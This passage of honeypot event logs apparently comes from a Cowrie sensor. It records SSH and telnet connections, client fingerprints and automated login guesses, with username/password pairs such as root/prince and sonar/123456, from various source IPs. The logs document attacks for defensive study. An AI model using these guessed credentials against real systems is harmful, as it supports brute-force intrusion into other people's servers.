256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:01.702531Z","src_ip":"31.40.204.166","session":"db07d0a7dd93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamed","password":"hamed","message":"login attempt [hamed/hamed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:02.325119Z","src_ip":"31.40.204.166","session":"db07d0a7dd93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":37496,"dst_ip":"10.17.0.5","dst_port":22,"session":"71acb79dff2c","protocol":"ssh","message":"New connection: 190.85.41.170:37496 (10.17.0.5:22) [session: 71acb79dff2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:02.358611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:02.364509Z","src_ip":"190.85.41.170","session":"71acb79dff2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:02.449520Z","src_ip":"190.85.41.170","session":"71acb79dff2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:02.593265Z","src_ip":"81.9.145.130","session":"ab66d34d376b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"prince","message":"login attempt [root/prince] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:02.789303Z","src_ip":"190.85.41.170","session":"71acb79dff2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:03.692850Z","src_ip":"31.40.204.166","session":"db07d0a7dd93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:03.869576Z","src_ip":"190.85.41.170","session":"71acb79dff2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.48308253288269,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:04.896237Z","src_ip":"152.42.224.71","session":"25ceced76ea1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0041606426239,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:08.006214Z","src_ip":"152.42.224.71","session":"e25a969629a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.98565435409546,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:10.911006Z","src_ip":"152.42.224.71","session":"87d1ba360da2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33224,"dst_ip":"10.17.0.5","dst_port":23,"session":"373541ec6aaa","protocol":"telnet","message":"New connection: 152.42.224.71:33224 (10.17.0.5:23) [session: 373541ec6aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:13.420886Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":50724,"dst_ip":"10.17.0.5","dst_port":22,"session":"293242a2ca1a","protocol":"ssh","message":"New connection: 103.27.238.120:50724 (10.17.0.5:22) [session: 293242a2ca1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:13.655604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:13.659677Z","src_ip":"103.27.238.120","session":"293242a2ca1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42994,"dst_ip":"159.203.135.109","dst_port":22,"session":"a67540d7bf83","protocol":"ssh","message":"New connection: 31.40.204.166:42994 (159.203.135.109:22) [session: a67540d7bf83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:13.784767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:13.791677Z","src_ip":"31.40.204.166","session":"a67540d7bf83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:13.931014Z","src_ip":"31.40.204.166","session":"a67540d7bf83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:13.937375Z","src_ip":"103.27.238.120","session":"293242a2ca1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.0627715587616,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:14.581753Z","src_ip":"152.42.224.71","session":"e934c777edee","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"mongodb","password":"mongodb","message":"login attempt [mongodb/mongodb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:14.631801Z","src_ip":"31.40.204.166","session":"a67540d7bf83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a1a1a","message":"login attempt [root/1a1a1a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:14.759560Z","src_ip":"103.27.238.120","session":"293242a2ca1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:15.799855Z","src_ip":"31.40.204.166","session":"a67540d7bf83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:16.036843Z","src_ip":"103.27.238.120","session":"293242a2ca1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47262,"dst_ip":"10.17.0.5","dst_port":23,"session":"e82615c44511","protocol":"telnet","message":"New connection: 152.42.224.71:47262 (10.17.0.5:23) [session: e82615c44511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:17.018482Z"}
{"eventid":"cowrie.session.closed","duration":45.47072696685791,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:17.092748Z","src_ip":"152.42.224.71","session":"879077d670d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47264,"dst_ip":"10.17.0.5","dst_port":23,"session":"92ab9bc28b3e","protocol":"telnet","message":"New connection: 152.42.224.71:47264 (10.17.0.5:23) [session: 92ab9bc28b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:19.975207Z"}
{"eventid":"cowrie.session.closed","duration":51.33529996871948,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:20.525913Z","src_ip":"152.42.224.71","session":"dcf9b8dca840","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.175893783569336,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:22.802972Z","src_ip":"152.42.224.71","session":"d037feb5655e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47276,"dst_ip":"10.17.0.5","dst_port":23,"session":"b740abe6295a","protocol":"telnet","message":"New connection: 152.42.224.71:47276 (10.17.0.5:23) [session: b740abe6295a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:23.851157Z"}
{"eventid":"cowrie.session.closed","duration":47.5655882358551,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:25.528360Z","src_ip":"152.42.224.71","session":"e33bdf80a9df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.42507266998291,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:25.845869Z","src_ip":"152.42.224.71","session":"373541ec6aaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56796,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3666e4884b7","protocol":"ssh","message":"New connection: 31.40.204.166:56796 (159.203.135.109:22) [session: c3666e4884b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:25.987832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:26.105410Z","src_ip":"31.40.204.166","session":"c3666e4884b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:26.205208Z","src_ip":"31.40.204.166","session":"c3666e4884b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:26.814112Z","src_ip":"31.40.204.166","session":"c3666e4884b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:27.986911Z","src_ip":"31.40.204.166","session":"c3666e4884b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.12894630432129,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:30.242943Z","src_ip":"152.42.224.71","session":"1730241c2171","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.248728036880493,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:35.266979Z","src_ip":"152.42.224.71","session":"e82615c44511","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.159.59","src_port":44858,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d12159715ae","protocol":"ssh","message":"New connection: 170.106.159.59:44858 (10.17.0.5:22) [session: 4d12159715ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:36.741645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:36.746399Z","src_ip":"170.106.159.59","session":"4d12159715ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:36.815337Z","src_ip":"170.106.159.59","session":"4d12159715ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"janice123","message":"login attempt [root/janice123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:37.121832Z","src_ip":"170.106.159.59","session":"4d12159715ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":55390,"dst_ip":"10.17.0.5","dst_port":22,"session":"2de78e68762c","protocol":"ssh","message":"New connection: 103.91.246.101:55390 (10.17.0.5:22) [session: 2de78e68762c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:37.274611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:37.278736Z","src_ip":"103.91.246.101","session":"2de78e68762c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:37.510150Z","src_ip":"103.91.246.101","session":"2de78e68762c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:38.193056Z","src_ip":"170.106.159.59","session":"4d12159715ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hetzner2022","message":"login attempt [root/Hetzner2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:38.451154Z","src_ip":"103.91.246.101","session":"2de78e68762c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50198,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed578ee7e085","protocol":"telnet","message":"New connection: 152.42.224.71:50198 (10.17.0.5:23) [session: ed578ee7e085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:38.685162Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":53952,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffd64427c079","protocol":"ssh","message":"New connection: 31.40.204.166:53952 (159.203.135.109:22) [session: ffd64427c079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:38.983837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:39.002815Z","src_ip":"31.40.204.166","session":"ffd64427c079","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-25